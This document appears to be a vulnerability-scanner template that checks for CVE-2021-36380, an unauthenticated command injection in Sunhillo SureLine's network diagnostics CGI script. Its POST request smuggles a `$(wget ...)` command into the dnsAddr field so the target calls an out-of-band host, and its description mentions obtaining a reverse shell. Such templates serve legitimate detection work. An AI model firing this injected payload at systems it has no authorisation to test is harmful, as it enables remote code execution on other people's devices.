id: CVE-2021-36380

info:
  name: Sunhillo SureLine - Unauthenticated OS Command Injection
  description: The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session.
  author: gy741
  severity: critical
  reference:
    - https://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380/
  tags: cve,cve2021,sureline,rce,oob

requests:
  - raw:
      - |
        POST /cgi/networkDiag.cgi HTTP/1.1
        Host: {{Hostname}}

        command=2&ipAddr=&dnsAddr=$(wget+http://{{interactsh-url}})&interface=0&netType=0&scrFilter=&dstFilter=&fileSave=false&pcapSave=false&fileSize=

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"